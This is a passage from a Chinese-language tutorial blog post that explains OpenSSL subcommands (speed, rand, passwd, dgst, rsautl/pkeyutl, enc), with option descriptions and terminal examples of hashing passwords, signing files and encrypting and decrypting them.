&lt;p&gt;测试速度好几秒一个指标，很慢。如果不指定参数将测试所有支持的算法，所以会花很久时间，我的虚拟机上花了十多分钟才测试完所有的算法性能。&lt;&#x2F;p&gt;
&lt;p&gt;例如测试下，dsa512、rsa512和rsa2048加密速度如何。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl speed dsa512 rsa512 rsa2048
Doing 512 bit private rsa&amp;#x27;s for 10s: 107496 512 bit private RSA&amp;#x27;s in 9.99s
Doing 512 bit public rsa&amp;#x27;s for 10s: 1425095 512 bit public RSA&amp;#x27;s in 10.00s
Doing 2048 bit private rsa&amp;#x27;s for 10s: 4623 2048 bit private RSA&amp;#x27;s in 9.99s
Doing 2048 bit public rsa&amp;#x27;s for 10s: 153395 2048 bit public RSA&amp;#x27;s in 9.99s
Doing 512 bit sign dsa&amp;#x27;s for 10s: 102089 512 bit DSA signs in 10.00s
Doing 512 bit verify dsa&amp;#x27;s for 10s: 121654 512 bit DSA verify in 9.99s
                  sign    verify    sign&amp;#x2F;s verify&amp;#x2F;s
rsa  512 bits 0.000093s 0.000007s  10760.4 142509.5
rsa 2048 bits 0.002161s 0.000065s    462.8  15354.9
                  sign    verify    sign&amp;#x2F;s verify&amp;#x2F;s
dsa  512 bits 0.000098s 0.000082s  10208.9  12177.6
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在10秒时间内，rsa512的私钥处理107496单位，而rsa2048仅处理4623单位，慢了20多倍。&lt;&#x2F;p&gt;
&lt;p&gt;再看签名性能，dsa算法只支持签名不支持加密，而rsa支持加密也支持签名。从上面的结果中可以看到rsa512的签名速度为每秒10760.4，而dsa512的速度为10208.9，速度相差不大。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;openssl-rand&quot;&gt;openssl rand&lt;&#x2F;h2&gt;
&lt;p&gt;生成伪随机数。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl rand [-out file] [-rand file(s)] [-base64] [-hex] num

选项说明：
-out：指定随机数输出文件，否则输出到标准输出。
-rand file：指定随机数种子文件。种子文件中的字符越随机，
            openssl rand生成随机数的速度越快，随机度越高。
-base64：指定生成的随机数的编码格式为base64。
-hex：指定生成的随机数的编码格式为hex。
num：指定随机数的长度。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl rand -base64 30;openssl rand -hex 30;openssl rand 30
7Nsce908GnQ5vpDH7Ww44f5ayZxCI0C9MzxSuaLj
af3efb867af2ffa7b9fd2ebd8caa977fc8d26f8a01de86d7b3de8630a25e
9=@oxW[root@xuexi tmp]#
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到，不指定&lt;code&gt;-base64&lt;&#x2F;code&gt;或&lt;code&gt;-hex&lt;&#x2F;code&gt;时生成的随机数是乱码随机数（其实是2进制），且没有&lt;code&gt;\n&lt;&#x2F;code&gt;符号。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;openssl-passwd&quot;&gt;openssl passwd&lt;&#x2F;h2&gt;
&lt;p&gt;该伪命令用于生成加密的密码。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# whatis passwd
passwd               (1)  - update user&amp;#x27;s authentication tokens
passwd               (5)  - password file
passwd [sslpasswd]   (1ssl)  - compute password hashes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;直接&lt;code&gt;man passwd&lt;&#x2F;code&gt;会得到修改用户密码的passwd命令帮助，而不是&lt;code&gt;openssl passwd&lt;&#x2F;code&gt;的帮助，所以&lt;code&gt;man sslpasswd&lt;&#x2F;code&gt;或者&lt;code&gt;man openssl-passwd&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# man sslpasswd

NAME
       passwd - compute password hashes

SYNOPSIS
       openssl passwd [-crypt] [-1] [-apr1] [-salt string]
       [-in file] [-stdin] [-quiet] {password}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用openssl passwd支持3种加密算法方式：不指定算法时，默认使用&lt;code&gt;-crypt&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;选项说明：

-crypt：UNIX标准加密算法，此为默认算法。如果加盐(-salt)算密码，
        只取盐的前2位，2位后面的所有字符都忽略。
-1(数字)：使用MD5的算法。
-5: 使用SHA256的算法。
-6：使用SHA512的算法。
-apr1(数字)：apache中使用的备选md5算法，不能和&amp;quot;-1&amp;quot;选项一起使用，
            因为apr1本身就默认了md5。htpasswd工具生成的身份验证
            密码就是此方法。
-salt：加密时加点盐，可以增加算法的复杂度。但加了盐会有副作用：盐
       相同，密码相同，加密的结果将一样。
-in file：从文件中读取要计算的密码列表
-stdin：从标准输入中获取要输入的密码
-quiet：生成密码过程中不输出任何信息
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在命令行中直接输入要加密的密码password或者使用&lt;code&gt;-salt&lt;&#x2F;code&gt;时，将不需要交互确认，否则会交互确认密码。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi ~]# openssl passwd 123456 ; openssl passwd 123456
R7J9OiPEN5xUw
C1lvfmeMltEWw
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由上面的测试可知，使用默认的&lt;code&gt;-crypt&lt;&#x2F;code&gt;加密的密码是随机的。但是加入盐后，如果密码一样，盐一样，那么加密结果一样。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi ~]# openssl passwd -salt &amp;#x27;xxx&amp;#x27; 123456 ; openssl passwd -salt &amp;#x27;xxx&amp;#x27; 123456
xxkVQ7YXT9yoE
xxkVQ7YXT9yoE
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;同时也看到了&lt;code&gt;-crypt&lt;&#x2F;code&gt;加密算法只取盐的前两位。&lt;&#x2F;p&gt;
&lt;p&gt;如果盐的前两位和密码任意一个不一样，加密结果都不一样。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi ~]# openssl passwd -salt &amp;#x27;xyx&amp;#x27; 123456;openssl passwd -salt &amp;#x27;xxx&amp;#x27; 123456
xyJkVhXGAZ8tM
xxkVQ7YXT9yoE
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意，默认的&lt;code&gt;-crypt&lt;&#x2F;code&gt;只取盐的前两位字符，所以只要盐的前两位一样，即使第三位不同，结果也是一样的。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi ~]# openssl passwd -salt &amp;#x27;xyz&amp;#x27; 123456 ; openssl passwd -salt &amp;#x27;xyy&amp;#x27; 123456
xyJkVhXGAZ8tM
xyJkVhXGAZ8tM
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;测试下MD5格式的加密算法。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi ~]# openssl passwd -1 123456 ; openssl passwd -1 123456
$1$CJ1eA7bT$4VAJoS3hU&amp;#x2F;gRTrSQ8r8UQ.
$1$l1uIsNoH$A35cHQ6oGm29IJOas5v7w0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可见，结果比&lt;code&gt;-crypt&lt;&#x2F;code&gt;的算法更长了，且不加盐时，密码生成是随机的。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi ~]# openssl passwd -1 -salt &amp;#x27;abcdefg&amp;#x27; 123456 ; openssl passwd -1 -salt &amp;#x27;abcdefg&amp;#x27; 123456
$1$abcdefg$a3UbImglR4PCA3x7OvwMX.
$1$abcdefg$a3UbImglR4PCA3x7OvwMX.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看出，加了盐虽然复杂度增加了，但是也受到了【盐相同，密码相同，则加密结果相同】的限制。另外，盐的长度也不再限于2位了。&lt;&#x2F;p&gt;
&lt;p&gt;再为apache或nginx生成访问网页时身份验证的密码，即basic authentication验证方式的密码。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi ~]# openssl passwd -apr1  123456 ; openssl passwd -apr1 123456
$apr1$ydbBroeI$&amp;#x2F;9YsZR.tJI&amp;#x2F;GS0YswkQLJ.
$apr1$ncebpB6C$4fnRmlrnL2LPKxrZxCZzJ1
[root@xuexi ~]# openssl passwd -apr1 -salt &amp;#x27;abcdefg&amp;#x27; 123456 ;  openssl passwd -apr1 -salt &amp;#x27;abcdefg&amp;#x27; 123456
$apr1$abcdefg$PCGBZd8XFTLOgZzLLU3K00
$apr1$abcdefg$PCGBZd8XFTLOgZzLLU3K00
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;同样，加了盐就受到【盐相同，密码相同则加密结果相同】的限制。&lt;&#x2F;p&gt;
&lt;p&gt;openssl passwd生成的密码可以直接用于&#x2F;etc&#x2F;shadow文件中，但有些老版本的openssl不支持sha256&#x2F;sha512，此时可以使用grub-crypt生成，它是一个python脚本，只不过很不幸CentOS 7只有grub2，grub-crypt命令已经没有了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi ~]# grub-crypt --sha-512
Password:
Retype password:
$6$2RCBJT7rELpfX4.Q$iKM5vNShNqUcCiez.JDBgbRkj007eXVVs790UwiOw1PMvB&amp;#x2F;s&amp;#x2F;vE7DhyDe8YJ6T8aEtP0Vev5kMReL&amp;#x2F;nILwLZX&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以使用语句简单地代替grub-crypt。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;python -c &amp;#x27;import crypt,getpass;pw=getpass.getpass();print(crypt.crypt(pw) if (pw==getpass.getpass(&amp;quot;Confirm: &amp;quot;)) else exit())&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;grub-crypt和上述python语句都是交互式的。如果要非交互式，稍稍修改下python语句：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;python -c &amp;#x27;import crypt,getpass;pw=&amp;quot;123456&amp;quot;;print(crypt.crypt(pw))&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;openssl-dgst-sheng-cheng-he-yan-zheng-shu-zi-qian-ming&quot;&gt;openssl dgst(生成和验证数字签名)&lt;&#x2F;h2&gt;
&lt;p&gt;该伪命令是单向加密工具，用于生成文件的摘要信息，也可以进行数字签名，验证数字签名。&lt;&#x2F;p&gt;
&lt;p&gt;首先要明白的是，&lt;strong&gt;数字签名的过程是计算出数字摘要，然后使用私钥对数字摘要进行签名&lt;&#x2F;strong&gt;，而摘要是使用md5、sha512等算法计算得出的，理解了这一点，openssl dgst命令的用法就完全掌握了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl dgst [-md5|-sha1|...] [-hex | -binary] [-out filename]
             [-sign filename] [-passin arg] [-verify filename]
             [-prverify filename] [-signature filename] [file...]

选项说明：
file...：指定待签名的文件。
-hex：以hex格式输出数字摘要。如果不以-hex显示，签名或验证签名时很可能乱码。
-binary：以二进制格式输出数字摘要，或以二进制格式进行数字签名。这是默认格式。
-out filename：指定输出文件，若不指定则输出到标准输出。
-sign filename：使用filename中的私钥对file数字签名。
                签名时绝对不能加-hex等格式的选项，否则验证签名失败，亲测。
-signature filename：指定待验证的签名文件。
-verify filename：使用filename中的公钥验证签名。
-prverify filename：使用filename中的私钥验证签名。
-passin arg：传递解密密码。若验证签名时实用的公钥或私钥文件是被加密过的，则需要传递密码来解密。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中，&lt;code&gt;-passin arg&lt;&#x2F;code&gt;传递密码的arg的格式见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;junmajinlong.github.io&#x2F;linux&#x2F;openssl_subcmds&#x2F;index.html#blogpasswd&quot;&gt;openssl密码格式&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;支持如下几种单向加密算法，即签名时使用的hash算法。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;-md4        to use the md4 message digest algorithm
-md5        to use the md5 message digest algorithm
-ripemd160  to use the ripemd160 message digest algorithm
-sha        to use the sha message digest algorithm
-sha1       to use the sha1 message digest algorithm
-sha224     to use the sha224 message digest algorithm
-sha256     to use the sha256 message digest algorithm
-sha384     to use the sha384 message digest algorithm
-sha512     to use the sha512 message digest algorithm
-whirlpool  to use the whirlpool message digest algorithm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：&lt;code&gt;openssl dgst -md5&lt;&#x2F;code&gt;和&lt;code&gt;openssl md5&lt;&#x2F;code&gt;的作用是一样的，其他单向加密算法也一样，例如&lt;code&gt;openssl dgst -sha&lt;&#x2F;code&gt;等价于&lt;code&gt;openssl sha&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(1).随机生成一段摘要信息。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@toystory ~]# echo 123456 | openssl md5
(stdin)= f447b20a7fcbf53a5d5be013ea0b15af
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;(2).对&#x2F;tmp&#x2F;a.txt文件生成MD5和sha512摘要信息。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl dgst -md5 a.txt
MD5(a.txt)= 0bbee18df3acef3f0f8496eb7e1d03ad
[root@xuexi tmp]# openssl sha512 a.txt
SHA512(a.txt)= 1a47bd35ac33100904604e5bd0fb4ebf48b5a1a3c15a5173f17f4affe180d24e1afebbd4f08e08b80ded59383a319c85f978861505e898748b4bef6f07f64e22
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;(3).生成一个私钥genrsa.pri，然后使用该私钥对&#x2F;tmp&#x2F;a.txt文件签名。使用-hex选项，否则默认输出格式为二进制会乱码。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl genrsa -out genrsa.pri

[root@xuexi tmp]# openssl dgst -md5 -hex -sign genrsa.pri a.txt
RSA-MD5(a.txt)= 7a6930b06dc6980d1a1fee872df5c8c9c887633c8e2f8b951d40aff4e934b206423914129f66651344859981e33c448f3a61274bded973b387065e9c7909bfcfc1d844e35af1453cc248d58170eb27e948a8de862f21a2b7ee34f512b3cc3cb44537e26c62a409e211320b87f74a8fa5ec1bcc790a7c13ffaa9df9aa8c5ddb64
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果要验证签名，那么这个生成的签名要保存到一个文件中，且&lt;strong&gt;一定不能使用”-hex”选项，否则验证签名失败&lt;&#x2F;strong&gt;。以下分别生成使用和不使用hex格式的签名文件以待验证签名测试。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl dgst -md5 -hex -out md5_hex.sign -sign genrsa.pri a.txt
[root@xuexi tmp]# openssl dgst -md5 -out md5_nohex.sign -sign genrsa.pri a.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;(4).验证签名。验证签名的过程实际上是对待验证文件新生成签名，然后与已有签名文件进行比对，如果比对结果相同，则验证通过。所以，在验证签名时不仅要给定待验证的签名文件，也要给定相同的算法，相同的私钥或公钥文件以及待签名文件以生成新签名信息。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;以下先测试以私钥来验证数字签名文件。&lt;&#x2F;p&gt;
&lt;p&gt;首先对未使用hex格式的签名文件md5_nohex.sign进行验证。由于生成md5_nohex.sign时使用的是md5算法，所以这里必须也要指定md5算法。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl dgst -md5 -prverify genrsa.pri -signature md5_nohex.sign a.txt
Verified OK
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再对使用了hex格式的签名文件md5_hex.sign进行验证，不论在验证时是否使用了hex选项，结果都是验证失败。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl dgst -md5 -prverify genrsa.pri -signature md5_hex.sign a.txt
Verification Failure

[root@xuexi tmp]# openssl dgst -md5 -hex -prverify genrsa.pri -signature md5_hex.sign a.txt
Verification Failure
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再测试使用公钥来验证数字签名。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl rsa -in genrsa.pri -pubout -out rsa.pub

[root@xuexi tmp]# openssl dgst -md5 -verify rsa.pub -signature md5_nohex.sign a.txt
Verified OK
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;openssl-rsautlhe-openssl-pkeyutl-fei-dui-cheng-jia-mi&quot;&gt;openssl rsautl和openssl pkeyutl(非对称加密)&lt;&#x2F;h2&gt;
&lt;p&gt;rsautl是rsa的工具，相当于rsa、dgst的部分功能集合，可用于&lt;strong&gt;生成数字签名、验证数字签名、加密和解密文件&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;pkeyutl是非对称加密的通用工具，大体上和rsautl的用法差不多，所以此处只解释rsautl。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl rsautl [-in file] [-out file] [-inkey file] [-pubin]
               [-certin] [-passin arg] [-sign] [-verify]
               [-encrypt] [-decrypt] [-hexdump]

openssl pkeyutl [-in file] [-out file] [-sigfile file]
                [-inkey file] [-passin arg] [-pubin] [-certin]
                [-sign] [-verify] [-encrypt] [-decrypt] [-hexdump]

共同的选项说明：
-in file：指定输入文件
-out file：指定输出文件
-inkey file：指定密钥输入文件，默认是私钥文件，指定了&amp;quot;-pubin&amp;quot;则表示为
             公钥文件，使用&amp;quot;-certin&amp;quot;则表示为包含公钥的证书文件
-pubin：指定&amp;quot;-inkey file&amp;quot;的file是公钥文件
-certin：使用该选项时，表示&amp;quot;-inkey file&amp;quot;的file是包含公钥的证书文件
-passin arg：传递解密密码。若验证签名时实用的公钥或私钥文件是被加密过
             的，则需要传递密码来解密。

【功能选项：】
-sign：签名并输出签名结果，注意，该选项需要提供RSA私钥文件
-verify：使用验证签名文件
-encrypt：使用公钥加密文件
-decrypt：使用私钥解密文件
【输出格式选项：】
-hexdump：以hex方式输出

openssl pkeyutl选项说明：
sigfile file：待验证的签名文件
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中，&lt;code&gt;-passin arg&lt;&#x2F;code&gt;传递密码的arg的格式见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;junmajinlong.github.io&#x2F;linux&#x2F;openssl_subcmds&#x2F;index.html#blogpasswd&quot;&gt;openssl密码格式&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;rsautl命令的用法和rsa、dgst不太一样。首先，它的前提是已经有非对称密钥，所有的命令操作都用到公钥或私钥来处理；再者，该命令使用&lt;code&gt;-in&lt;&#x2F;code&gt;选项来指定输入文件，而不像dgst一样可以把输入文件放在命令的结尾；最后，该命令使用的密钥文件、签名文件、证书文件都通过&lt;code&gt;-inkey&lt;&#x2F;code&gt;选项指定，再通过各功能的选项搭配来实现对应的功能。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意rsautl和pkeyutl的缺陷是默认只能对短小的文件进行操作，否则将报类似如下的错误信息。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;140341340976968:error:0406C06E:rsa routines:RSA_padding_add_PKCS1_type_1:data too large for key size:rsa_pk1.c:73:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为这两个工具签名和验证签名的功能和openssl dgst命令差不多，且自身又有缺陷，所以就不举例说明。此处仅给出对短小文件的非对称加密和解密示例。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(1).使用公钥加密b.txt文件，注意待加密文件b.txt必须是短小文件，且不建议使用-hexdump输出，否则解密时可能超出文件的长度。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl genrsa -out genrsa.pri   # 生成私钥

[root@xuexi tmp]# openssl rsa -in genrsa.pri -pubout -out rsa.pub   # 从私钥中提取公钥

[root@xuexi tmp]# openssl rsautl -encrypt -in b.txt -out b_crypt.txt -inkey rsa.pub -pubin
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看非对称加密后的文件b_crypt.txt。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# cat b_crypt.txt
H[1]=p?I,:=)Iڪ;Yx٩,vbot@xuexi tmp]#
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;(2).使用私钥解密b_crypt.txt文件。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl rsautl -decrypt -in b_crypt.txt -out b_decrypt.txt -inkey genrsa.pri

[root@xuexi tmp]# cat b_decrypt.txt
UUID=d505113c-daa6-4c17-8b03-b3551ced2305 swap swap defaults  0 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;openssl-enc-dui-cheng-jia-mi&quot;&gt;openssl enc(对称加密)&lt;&#x2F;h2&gt;
&lt;p&gt;对称加密工具。了解对称加密的原理后就很简单了，原理部分见下文。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl enc -ciphername [-in filename] [-out filename] [-pass arg]
                        [-e] [-d] [-a&amp;#x2F;-base64] [-k password]
                        [-S salt] [-salt] [-md] [-p&amp;#x2F;-P]

选项说明：
-ciphername：指定对称加密算法(如des3)，可独立于enc直接使用，
             如openssl des3或openssl enc -des3。推荐在enc后
             使用，这样不依赖于硬件
-in filename ：输入文件，不指定时默认是stdin
-out filename：输出文件，不指定时默认是stdout
-e：对输入文件加密操作，不指定时默认就是该选项
-d：对输入文件解密操作，只有显示指定该选项才是解密
-pass：传递加、解密时的明文密码。若验证签名时实用的公钥或私钥文件
       是被加密过的，则需要传递密码来解密。
-k     ：已被&amp;quot;-pass&amp;quot;替代，现在还保留是为了兼容老版本的openssl
-base64：在加密后和解密前进行base64编码或解密，不指定时默认是二进制。
         注意，编码不是加解密的一部分，而是加解密前后对数据的格式&amp;quot;整理&amp;quot;
-a：等价于-base64
-salt：单向加密时使用salt复杂化单向加密的结果，此为默认选项，且使用随
       机salt值
-S salt：不使用随机salt值，而是自定义salt值，但只能是16进制范围内字符
         的组合，即&amp;quot;0-9a-fA-F&amp;quot;的任意一个或多个组合
-p：打印加解密时salt值、key值和IV初始化向量值（也是复杂化加密的一种方
    式），解密时还输出解密结果，见后文示例
-P：和-p选项作用相同，但是打印时直接退出工具，不进行加密或解密操作
-md：指定单向加密算法，默认md5。该算法是拿来加密key部分的，见后文分析。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中，&lt;code&gt;-pass arg&lt;&#x2F;code&gt;传递密码的arg的格式见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;junmajinlong.github.io&#x2F;linux&#x2F;openssl_subcmds&#x2F;index.html#blogpasswd&quot;&gt;openssl密码格式&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;支持的单向加密算法有：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;-md4       to use the md4 message digest algorithm
-md5       to use the md5 message digest algorithm
-ripemd160 to use the ripemd160 message digest algorithm
-sha       to use the sha message digest algorithm
-sha1      to use the sha1 message digest algorithm
-sha224    to use the sha224 message digest algorithm
-sha256    to use the sha256 message digest algorithm
-sha384    to use the sha384 message digest algorithm
-sha512    to use the sha512 message digest algorithm
-whirlpool to use the whirlpool message digest algorithm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;支持的对称加密算法有：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;-aes-128-cbc               -aes-128-cbc-hmac-sha1     -aes-128-cfb
-aes-128-cfb1              -aes-128-cfb8              -aes-128-ctr
-aes-128-ecb               -aes-128-gcm               -aes-128-ofb
-aes-128-xts               -aes-192-cbc               -aes-192-cfb
-aes-192-cfb1              -aes-192-cfb8              -aes-192-ctr
-aes-192-ecb               -aes-192-gcm               -aes-192-ofb
-aes-256-cbc               -aes-256-cbc-hmac-sha1     -aes-256-cfb
-aes-256-cfb1              -aes-256-cfb8              -aes-256-ctr
-aes-256-ecb               -aes-256-gcm               -aes-256-ofb
-aes-256-xts               -aes128                    -aes192
-aes256                    -bf                        -bf-cbc
-bf-cfb                    -bf-ecb                    -bf-ofb
-blowfish                  -camellia-128-cbc          -camellia-128-cfb
-camellia-128-cfb1         -camellia-128-cfb8         -camellia-128-ecb
-camellia-128-ofb          -camellia-192-cbc          -camellia-192-cfb
-camellia-192-cfb1         -camellia-192-cfb8         -camellia-192-ecb
-camellia-192-ofb          -camellia-256-cbc          -camellia-256-cfb
-camellia-256-cfb1         -camellia-256-cfb8         -camellia-256-ecb
-camellia-256-ofb          -camellia128               -camellia192
-camellia256               -cast                      -cast-cbc
-cast5-cbc                 -cast5-cfb                 -cast5-ecb
-cast5-ofb                 -des                       -des-cbc
-des-cfb                   -des-cfb1                  -des-cfb8
-des-ecb                   -des-ede                   -des-ede-cbc
-des-ede-cfb               -des-ede-ofb               -des-ede3
-des-ede3-cbc              -des-ede3-cfb              -des-ede3-cfb1
-des-ede3-cfb8             -des-ede3-ofb              -des-ofb
-des3                      -desx                      -desx-cbc
-id-aes128-GCM             -id-aes128-wrap            -id-aes128-wrap-pad
-id-aes192-GCM             -id-aes192-wrap            -id-aes192-wrap-pad
-id-aes256-GCM             -id-aes256-wrap            -id-aes256-wrap-pad
-id-smime-alg-CMS3DESwrap  -idea                      -idea-cbc
-idea-cfb                  -idea-ecb                  -idea-ofb
-rc2                       -rc2-40-cbc                -rc2-64-cbc
-rc2-cbc                   -rc2-cfb                   -rc2-ecb
-rc2-ofb                   -rc4                       -rc4-40
-rc4-hmac-md5              -seed                      -seed-cbc
-seed-cfb                  -seed-ecb                  -seed-ofb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在给出&lt;code&gt;openssl enc&lt;&#x2F;code&gt;命令用法示例之前，先解释下对称加密和解密的原理和过程。&lt;&#x2F;p&gt;
&lt;p&gt;对称加解密时，它们使用的密码是完全相同的，例如”123456”，但这是密码，且是明文密码，非常不安全，所以应该对此简单密码进行复杂化。最直接的方法是使用单向加密计算出明文密码的hash值，单向加密后新生成的密码已经比较安全(称之为密钥比较好)，可以作为对称加密时的对称密钥。另外，由于同一单向加密算法对相同明文密码的计算结果是完全一致的，这样解密时使用相同的单向加密算法就能计算出完全相同的密钥，也就是解密时的对称密钥。如果想要更安全，还可以在对称加密后对加密文件进行重新编码，如使用”base64”、二进制或hex编码方式进行编码，但对应的在解密前就需要先解码，解码后才能解密。&lt;&#x2F;p&gt;
&lt;p&gt;所以，将对称加、解密的机制简单概括如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对称加密机制：根据指定的单向加密算法，对输入的明文密码进行单向加密(默认是md5)，得到固定长度的加密密钥，即对称密钥，再根据指定的对称加密算法，使用对称密钥加密文件，最后重新编码加密后的文件。&lt;strong&gt;即单向加密明文密码结果作为对称密钥、使用对称密钥加密文件、对文件重新编码。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;对称解密机制：&lt;strong&gt;先解码文件，再根据单向加密算法对解密时输入的明文密码计算得到对称密钥，依此对称密钥对称解密解码后的文件。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;因此，解密过程中使用的解码方式、单向加密和对称加密算法都必须一致，且输入的密码必须是正确密码。&lt;&#x2F;strong&gt; 但需要注意的一点是，解密时可以不指定salt，因为加密时使用的salt会记录下来，解密时可以读取该salt。&lt;&#x2F;p&gt;
&lt;p&gt;如下图所示，分别是加密和解密过程示意图。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openssl-commands&#x2F;openssl-enc-encrypt-decrypt-flow.gif&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a href=&quot;e:%5Conedrive%5Cdocs%5Cblog_imgs%5C733013-20170703154045815-1275400373.png&quot;&gt;e:\onedrive\docs\blog_imgs\733013-20170703154045815-1275400373.png&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
